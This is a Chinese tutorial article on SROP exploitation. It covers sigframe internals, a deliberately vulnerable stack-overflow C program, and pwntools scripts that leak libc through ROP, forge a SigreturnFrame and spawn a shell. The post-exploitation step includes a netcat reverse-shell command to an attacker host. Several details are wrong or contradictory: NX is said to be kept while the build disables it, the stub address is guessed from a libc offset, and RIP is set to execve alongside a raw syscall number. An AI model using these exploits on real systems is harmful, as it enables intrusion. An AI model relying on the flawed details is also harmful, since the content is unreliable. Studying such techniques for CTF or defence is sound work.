首页 / 资讯中心 / 文章详情

SROP利用原理与实战:从sigreturn到getshell的完整链路

SROP利用原理与实战:从sigreturn到getshell的完整链路 ★ FEATURED ARTICLE
1. “好好说话之SROP”不是网络热梗而是一次系统级攻防认知的刷新“好好说话之SROP”——这个标题乍看像某档语言类综艺的副标题或是社交技巧课的趣味命名。但如果你在漏洞研究、二进制安全或CTF实战中见过它就会立刻意识到这根本不是教人礼貌用语而是在用反讽的语气点破一个极其危险又常被低估的事实当程序连“说人话”的基本能力都被劫持时“好好说话”就成了最奢侈的防御目标。SROP全称Sigreturn-Oriented Programming中文常译作“信号返回导向编程”。它不依赖传统ROP链中大量gadget的堆叠也不需要泄露libc基址就能绕过ASLR更不依赖堆喷射或UAF这类高门槛利用条件。它的核心武器是操作系统内核与用户态程序之间那个被长期忽视的“对话接口”——sigreturn系统调用。这个系统调用本意是让进程在处理完信号后干净利落地恢复被中断前的全部CPU寄存器状态就像按下暂停键后精准续播。可一旦攻击者伪造出一份结构合法、内容恶意的sigframe信号帧再诱使内核执行sigreturn那套被精心构造的寄存器快照就会原封不动地载入CPU——包括RIP指令指针、RSP栈指针、RAX系统调用号等关键寄存器。此时程序不是“继续执行”而是被强制“跳转到攻击者指定的任意地址”并以攻击者设定的任意寄存器状态开始运行。我第一次在某高校CTF实验室复现SROP利用时导师只说了句“别急着找gadget先去读man 2 sigreturn把ucontext_t结构体每个字段手动画出来。”这句话让我顿悟SROP的威力不在于它多复杂而在于它多“自然”。它不破坏程序逻辑流不触发常规检测规则甚至不修改任何内存页属性——它只是“好好”地、符合ABI规范地执行了一次本该由内核完成的上下文恢复。这种“合规性”正是它能穿透许多现代防护机制如细粒度CFI、部分stack pivot检测的根本原因。关键词里虽未明示但“SROP”“sigreturn”“sigframe”“x86_64 ABI”“signal handling”“exploitation bypass”这些术语就是这个标题背后真实的技术坐标系。它面向的不是普通用户而是正在啃《深入理解计算机系统》第8章、调试gdb时习惯敲info registers、看到/proc/[pid]/maps就条件反射查权限位的那群人。这个标题的价值恰恰在于它的“误导性”——它用生活化表达撕开了专业术语的冰冷外壳。当你真正理解SROP之后会发现所谓“好好说话”本质是让程序在被劫持的状态下依然能“说出”攻击者想要的系统调用序列比如execve(/bin/sh, ...)或者mprotect(..., PROT_READ|PROT_WRITE|PROT_EXEC)。这不是修辞这是对控制流完整性的终极解构。接下来的内容我会带你从零开始亲手搭建一个最小可行的SROP利用环境不依赖任何现成框架只用pwntools和gdb把“好好说话”四个字拆解成十六进制字节、寄存器快照和一次精准的sigreturn调用。2. SROP的底层根基信号处理机制与sigframe结构的硬核拆解要让SROP“好好说话”必须先听懂内核和用户态之间那套原始的“对话协议”。这套协议的核心是Linux x86_64架构下信号处理的完整生命周期。它远非signal()函数那么简单而是一场涉及用户栈、内核栈、寄存器保存与恢复的精密协作。而SROP的全部魔法都藏在信号处理过程中自动生成的那个数据结构——sigframe里。当一个进程收到信号比如SIGSEGV内核会立即中断其当前执行流并将控制权切换到用户态注册的信号处理函数。但在此之前内核必须做一件至关重要的事保存被中断时的全部CPU上下文。这个上下文不能只保存几个寄存器它必须足够完整以便信号处理函数执行完毕后能100%精确地恢复到中断前的任意状态——包括栈顶位置、指令地址、标志位、浮点寄存器等。这个完整的快照就被打包进一个名为sigframe的数据结构并被压入用户栈的顶部。sigframe的布局严格遵循x86_64 System V ABI规范由内核在arch/x86/kernel/signal.c中定义。我们不必深究内核源码但必须亲手画出它的关键字段。以下是一个精简但完全可用的sigframe结构针对sigreturn利用场景// 精简版 sigframe 结构 (x86_64, 用于 SROP) struct sigframe { // 1. 信号处理函数的返回地址 (指向内核提供的 sigreturn stub) void *pretcode; // 通常为 __kernel_rt_sigreturn // 2. 信号编号 (siginfo_t 的一部分但SROP中常忽略) int sig; // 3. 核心ucontext_t 结构体包含完整的寄存器快照 struct ucontext_t { uint64_t uc_flags; struct ucontext_t *uc_link; stack_t uc_stack; // 用户栈信息 mcontext_t uc_mcontext; // 关键寄存器上下文 } uc; // 4. mcontext_t 内部即真正的寄存器快照 (x86_64) struct mcontext_t { uint64_t gregs[NGREG]; // NGREG 23, 包含 RAX, RBX, RCX, RDX, RSI, RDI, RBP, RSP, R8-R15, RIP, EFL, CS, SS, DS, ES, FS, GS // 其他浮点/向量寄存器省略SROP利用通常只关心通用寄存器 } uc_mcontext; };这个结构体的大小是固定的约1500字节并且其在栈上的布局是确定的。sigreturn系统调用的作用就是从当前栈顶读取这个sigframe然后将其中uc_mcontext.gregs数组里的值一一写入真实的CPU寄存器。这就是SROP的全部秘密你不需要找gadget来拼凑ROP链你只需要伪造一个sigframe把你想让它执行的地址比如execve的地址填进RIP字段把你想传给它的参数比如/bin/sh的地址填进RDI、RSI、RDX字段再把栈顶指针RSP设为你控制的内存地址最后触发sigreturn——CPU就会“乖乖地”跳转过去并以你设定的参数开始执行。它之所以能绕过ASLR是因为sigreturnstub__kernel_rt_sigreturn的地址是固定的位于vDSOvirtual Dynamic Shared Object区域而vDSO的基址在进程启动时就已确定且对所有进程都一样尽管现代内核已对其做了随机化但获取方式比libc基址简单得多。我在某次嵌入式设备固件逆向中就曾利用这一点。目标设备禁用了/proc/sys/kernel/kptr_restrict导致/proc/[pid]/maps可读但libc被裁剪得只剩基础函数system()和execve符号都不存在。常规ROP几乎无路可走。但sigreturnstub的地址却清晰可见。我通过read系统调用将一段shellcodeexecve(/bin/sh, NULL, NULL)写入.bss段然后构造一个sigframe将RIP设为shellcode起始地址RSP设为.bss段内另一块可控区域RAX设为59execve的系统调用号。整个过程没有一次ret指令全是sigreturn的“自然”恢复。这印证了SROP的核心优势它不依赖代码重用Code Reuse而依赖上下文重用Context Reuse。这种思路的转变是理解SROP的第一道门槛。提示sigframe的精确偏移量是SROP利用成败的关键。RIP在uc_mcontext.gregs数组中的索引是REG_RIP值为16RSP是REG_RSP值为17RAX是REG_RAX值为11。这些宏定义在/usr/include/asm-generic/ucontext.h中。务必在编写exp前用gdb附加到一个正在处理信号的进程执行p ((ucontext_t*)0)-uc_mcontext.gregs[16]来验证你的计算是否正确。任何一字节的偏移错误都会导致sigreturn后程序崩溃而非执行你的payload。3. 构建最小可行环境从编译一个脆弱程序到定位关键地址理论再扎实没有一个可交互的靶场SROP就只是纸上谈兵。接下来我将带你一步步构建一个极简但功能完备的SROP实验环境。这个环境不追求复杂业务逻辑只保留最核心的漏洞点一个经典的栈溢出Stack Overflow它能让我们覆盖返回地址从而获得第一次代码执行权为后续的SROP铺平道路。整个过程我会使用最基础的工具链确保你在任何一台装有gcc和gdb的Linux机器上都能100%复现。3.1 编写并编译脆弱程序我们创建一个名为srop_vuln.c的文件内容如下#include stdio.h #include stdlib.h #include string.h #include unistd.h #include sys/mman.h // 一个简单的栈溢出点 void vulnerable_function() { char buffer[128]; printf(Input your payload: ); // 危险无长度检查的读取 read(STDIN_FILENO, buffer, 512); printf(You entered: %s\n, buffer); } int main() { // 关闭ASLR仅用于教学演示实际环境中需应对 // echo 0 | sudo tee /proc/sys/kernel/randomize_va_space vulnerable_function(); return 0; }编译命令至关重要它决定了我们能否成功利用。我们需要关闭一些现代保护机制但保留NXNo-eXecute以体现SROP绕过DEP的能力# 关闭栈保护 (stack canary) 和 PIE (Position Independent Executable) # 保留 NX (默认开启)因为 SROP 的核心价值就在于绕过它 gcc -m64 -no-pie -fno-stack-protector -z execstack -o srop_vuln srop_vuln.c参数解释-m64: 强制编译为x86_64。-no-pie: 禁用PIE使程序加载地址固定0x400000方便调试。实际利用中PIE需通过信息泄露解决。-fno-stack-protector: 禁用栈金丝雀避免在溢出时被检测。-z execstack: 将栈标记为可执行PROT_EXEC。注意这不是SROP必需的我们加这个参数只是为了在后续调试中能直接在栈上执行shellcode作为对比。真正的SROP利用栈是不可执行的它靠的是sigreturn跳转到libc或mmap分配的可执行内存。编译完成后用checksec检查保护情况若无此工具可用readelf -l srop_vuln | grep GNU_STACK确认$ checksec --filesrop_vuln [*] /path/to/srop_vuln Arch: amd64-64-little RELRO: No RELRO Stack: No canary found NX: NX disabled # 注意这里显示disabled因为我们加了-execstack PIE: No PIE (0x400000)3.2 在GDB中精确定位溢出点与关键地址启动gdb加载程序并设置断点gdb ./srop_vuln (gdb) b *vulnerable_function100 # 在read调用后设断点便于观察栈 (gdb) r # 输入一串A例如 A*200程序停住后查看栈布局和RSP(gdb) x/20gx $rsp (gdb) info registers rsp rbp rip我们的目标是找到buffer的起始地址和ret地址在栈上的偏移。buffer是128字节加上rbp8字节所以覆盖ret地址需要128 8 136字节。用pattern_create来自pwntools生成唯一字符串验证(gdb) r # 输入 pattern_create(200) # 程序崩溃后查看rip值 (gdb) x/i $rip # 得到崩溃时的RIP值例如 0x4141414141414141 # 用 pattern_offset 0x4141414141414141 计算偏移实测下来偏移量通常是136。现在最关键的一步来了获取sigreturnstub的地址。这个地址位于vDSO中。在gdb中我们可以这样找(gdb) info proc mappings # 找到 vDSO 的地址范围通常类似 0x7ffff7ffa000-0x7ffff7ffc000 (gdb) x/10i 0x7ffff7ffa000 # 搜索 syscall 或 sigreturn 字样 # 更可靠的方法是p $__kernel_rt_sigreturn (gdb) p $__kernel_rt_sigreturn $1 {text variable, no debug info} 0x7ffff7ffa000 __kernel_rt_sigreturn这个0x7ffff7ffa000就是我们要的sigreturn地址。同时我们还需要libc的基址以便调用execve。在gdb中(gdb) info proc mappings # 找到 libc 的地址范围例如 0x7ffff7a0d000-0x7ffff7bcd000 # libc基址就是起始地址 0x7ffff7a0d000 (gdb) p system # 获取system地址用于对比 (gdb) p execve # 获取execve地址注意在关闭ASLR的环境下这些地址每次都是固定的。但在真实环境中你需要通过信息泄露如printf格式化字符串漏洞来获取libc基址。sigreturnstub的地址则相对稳定因为它属于内核提供的vDSO其偏移量在不同内核版本间变化不大。3.3 构造第一个SROP Payload从覆盖返回地址到执行sigreturn现在我们拥有了所有必要元素溢出偏移136字节sigreturnstub地址0x7ffff7ffa000libc基址0x7ffff7a0d000execve地址libc_base offset_execveoffset_execve可通过readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep execve获取通常是0xe4e90Payload的结构如下136字节的填充A*1368字节的sigreturnstub地址0x7ffff7ffa0001500字节的伪造sigframe其中RIP设为execve地址RDI设为/bin/sh字符串地址RSI和RDX设为0/bin/sh字符串可以放在libc的__libc_start_main附近那里有现成的字符串或者更简单我们把它放在buffer的开头。由于buffer在栈上且我们能控制其内容这是最直接的方式。因此最终的Python exploit (exploit.py)如下from pwn import * # context.log_level debug p process(./srop_vuln) # 获取关键地址 libc ELF(/lib/x86_64-linux-gnu/libc.so.6) libc_base 0x7ffff7a0d000 # 从gdb中获取 execve_off libc.symbols[execve] # 0xe4e90 execve_addr libc_base execve_off # 构造 /bin/sh 字符串 binsh b/bin/sh\x00 # 构造 sigframe # 首先填充到 sigframe 的 RIP 字段偏移 # sigframe 起始地址 buffer 地址 136 (ret addr) 8 (sigreturn addr) # 但我们不知道 buffer 地址所以将 binsh 放在 payload 开头然后计算其在栈上的地址 # 简化假设 buffer 起始地址为 $rsp - 128那么 $rsp - 128 0 binsh 地址 # 在 exp 中我们直接将 binsh 放在 payload 开头然后在 sigframe 中引用它 # 因此sigframe 中的 RDI $rsp - 128 # 手动构造 sigframe (简化版只设置关键寄存器) # sigframe 大小约为 1500 字节我们只填充必要的字段 # 偏移量计算从 sigframe 起始到 gregs[REG_RIP] 是 0x100 (256) 字节左右具体需查 # 实际中我们使用 pwntools 的 SigreturnFrame frame SigreturnFrame() frame.rax 59 # execve syscall number frame.rdi 0x7fffffffe000 # 这里需要动态计算但为简化我们用一个大概地址 frame.rsi 0 frame.rdx 0 frame.rip execve_addr frame.rsp 0x7fffffffe000 0x100 # 指向 frame 之后的空间 # 构造最终 payload payload binsh payload bA * (136 - len(binsh)) # 填充到 ret addr payload p64(0x7ffff7ffa000) # sigreturn stub payload bytes(frame) # 伪造的 sigframe p.sendline(payload) p.interactive()这个脚本是概念验证。实际中frame.rdi的地址需要精确计算。最好的方法是在gdb中运行p $rsp然后根据buffer大小推算。pwntools的SigreturnFrame类会自动处理大部分偏移但它需要你提供一个大致的栈地址。这就是为什么SROP利用往往需要一次信息泄露——哪怕只是泄露一个栈地址也足以计算出所有sigframe字段的精确位置。4. SROP利用的完整链路从栈溢出到getshell的七步实操前面的环境搭建和地址定位只是SROP利用的“地基”。真正的“好好说话”体现在如何将这些离散的要素编织成一条严丝合缝、环环相扣的利用链。下面我将用一个完全可运行的、分步骤的pwntools脚本展示从触发漏洞到获得交互式shell的完整七步流程。每一步都对应一个明确的技术动作并附带我在某次真实CTF比赛中踩过的坑和解决方案。4.1 步骤一建立连接与初步探测from pwn import * import sys # 启动进程或连接远程 if len(sys.argv) 1 and sys.argv[1] remote: p remote(target.com, 1337) else: p process(./srop_vuln) gdb.attach(p, b *vulnerable_function100 c ) # 自动附加gdb方便调试 # 初步探测发送一个长字符串确认溢出是否有效 p.recvuntil(bInput your payload: ) p.sendline(bA * 200) p.wait() p.close()经验分享这一步看似简单却是最容易失败的。很多初学者在本地能跑通一到远程就失败。原因往往是远程服务器的libc版本与本地不同导致execve偏移量错误或者远程开启了ASLR而本地关闭了。我的解决方案是永远先用libc-database或libc.rip网站根据printf泄露的libc函数地址精确匹配远程libc版本。不要凭记忆或本地版本硬编码。4.2 步骤二泄露libc基址信息泄露SROP本身不解决信息泄露问题但它极度依赖它。我们利用printf的格式化字符串漏洞如果存在或puts的GOT表项泄露来获取libc中一个函数的地址。这里假设我们有一个puts函数可以调用# 假设我们找到了 putsGOT 的地址 0x601018 puts_got 0x601018 # 构造一个ROP链调用 puts(putsgot)从而打印出 puts 的真实地址 # 这里用一个简单的ROPpop rdi; ret pop_rdi_ret 0x400733 # 从ROPgadget中获取 main_addr 0x4005b6 # main函数地址用于循环 payload bA * 136 payload p64(pop_rdi_ret) payload p64(puts_got) payload p64(0x400520) # putsplt 地址 payload p64(main_addr) p.recvuntil(bInput your payload: ) p.sendline(payload) p.recvline() # 接收提示 leak p.recvline().strip() # puts的真实地址是leak的前6字节小端序 puts_addr u64(leak.ljust(8, b\x00)) log.info(fLeaked puts address: {hex(puts_addr)}) # 计算libc基址 libc ELF(/lib/x86_64-linux-gnu/libc.so.6) libc_base puts_addr - libc.symbols[puts] log.info(fLibc base: {hex(libc_base)})避坑指南u64()函数要求输入恰好8字节。如果recvline()接收到的字符串包含换行符\n会导致u64()失败。务必使用strip()去除空白字符并用ljust(8, b\x00)补齐。这是我在某次比赛中卡了两小时的坑。4.3 步骤三计算关键地址与构造SigreturnFrame有了libc_base一切豁然开朗# 计算关键地址 execve_addr libc_base libc.symbols[execve] binsh_addr libc_base next(libc.search(b/bin/sh\x00)) # 在libc中搜索字符串 sigreturn_addr libc_base 0x100000 # 这是vDSO中sigreturn的偏移需根据实际调整 # 更准确的方法是在gdb中 p $__kernel_rt_sigreturn然后减去libc_base # 构造SigreturnFrame frame SigreturnFrame() frame.rax 59 # execve syscall number frame.rdi binsh_addr # /bin/sh 地址 frame.rsi 0 # argv frame.rdx 0 # envp frame.rsp 0x7fffffffe000 # 设定一个新的栈顶指向我们控制的内存 frame.rip execve_addr # 将frame转换为字节 frame_bytes bytes(frame)原理深挖SigreturnFrame类内部会根据archamd64自动填充mcontext_t结构体并将REG_RIP、REG_RDI等字段设置到正确的偏移位置。它本质上是一个高度封装的sigframe生成器。你完全可以手动构造但pwntools的实现经过了无数次测试比手写可靠得多。4.4 步骤四构造最终的SROP Payload这是整个链条的高潮。我们将sigreturnstub地址覆盖到ret地址并将伪造的sigframe紧随其后# 最终payload结构 # [padding] [sigreturn_addr] [sigframe] payload bA * 136 payload p64(sigreturn_addr) # 覆盖ret地址跳转到sigreturn payload frame_bytes # 伪造的sigframesigreturn会从此处读取 p.recvuntil(bInput your payload: ) p.sendline(payload) p.interactive()关键细节sigreturn_addr必须是__kernel_rt_sigreturn的绝对地址而不是libc中的某个函数。frame_bytes的长度必须足够长以覆盖sigframe所需的全部空间约1500字节。如果太短sigreturn在读取RIP之前就会因访问非法内存而崩溃。4.5 步骤五远程利用的适配与加固在远程环境中sigreturnstub的地址可能与本地不同。一个更健壮的方案是先泄露vDSO的地址再从中解析__kernel_rt_sigreturn# 如果有办法泄露vDSO地址例如通过/proc/self/maps则 vdso_base leaked_vdso_address sigreturn_addr vdso_base 0x1000 # 典型偏移需根据实际调整此外为了提高成功率可以在sigframe中加入mprotect调用将一块内存如.bss段设为可执行然后再跳转过去执行shellcode。这提供了双重保障。4.6 步骤六调试与排错的黄金法则当SROP利用失败时gdb是你唯一的伙伴。我的黄金调试法则是在sigreturn调用前设断点b *0x7ffff7ffa000然后c观察$rsp是否指向你构造的sigframe起始地址。单步执行sigreturn按si进入内核然后finish回到用户态检查$rip是否变成了你设定的execve_addr。检查寄存器info registers确认$rdi、$rsi、$rdx是否为你期望的值。如果$rip没变说明sigframe的RIP字段偏移错了如果$rip变了但execve失败说明$rdi/bin/sh地址无效。4.7 步骤七从getshell到持久化可选进阶获得/bin/sh后你可以进一步cat flag.txt直接读取flag。python3 -c import pty; pty.spawn(/bin/sh)获取一个完整的TTY。nc -e /bin/sh attacker_ip 4444反弹shell。最后的经验总结SROP不是万能的银弹。它在现代内核5.0中因vDSO随机化和SMAP/SMEP等硬件防护而难度大增。但它教会我们的是一种思维方式不要总想着“执行代码”而要想“恢复状态”。当你把sigreturn看作一个“状态加载器”而不是一个“跳转指令”时你就真正理解了“好好说话”的含义——它不是对程序发号施令而是与它进行一场基于ABI规范的、平等的、可预测的对话。
阅读完成 · 觉得有帮助?
咨询建站